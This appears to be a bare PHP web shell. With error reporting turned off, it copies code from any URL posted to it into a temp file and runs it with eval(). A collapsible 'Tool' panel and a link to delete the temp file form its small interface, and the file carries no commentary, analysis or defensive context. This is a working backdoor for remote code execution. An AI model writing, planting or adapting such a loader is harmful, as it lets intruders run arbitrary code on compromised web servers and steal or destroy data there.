error_reporting(0);
$tmp = sys_get_temp_dir().'/'.get_current_user().'.dummy';
if(isset($_GET['0'])){@unlink($tmp);echo '<script> window.location=" '.$_SERVER['PHP_SELF'].' "; </script>';}
@copy($_POST[url], $tmp);
$func = file_get_contents($tmp, 1);
@eval('?'.'>'.$func.'<'.'?');

<script>
function tool() { var x = document.getElementById("tool"); if (x.style.display === "none") { x.style.display = "block"; } else { x.style.display = "none"; } }
</script>
<a href="#tool" onclick="tool()">Tool</a>
<div id="tool" style="display:none">

<input size="100" name="url" value=" echo $_POST[url]; ">

<a href="?0"><small>Clear<small><a>
</div>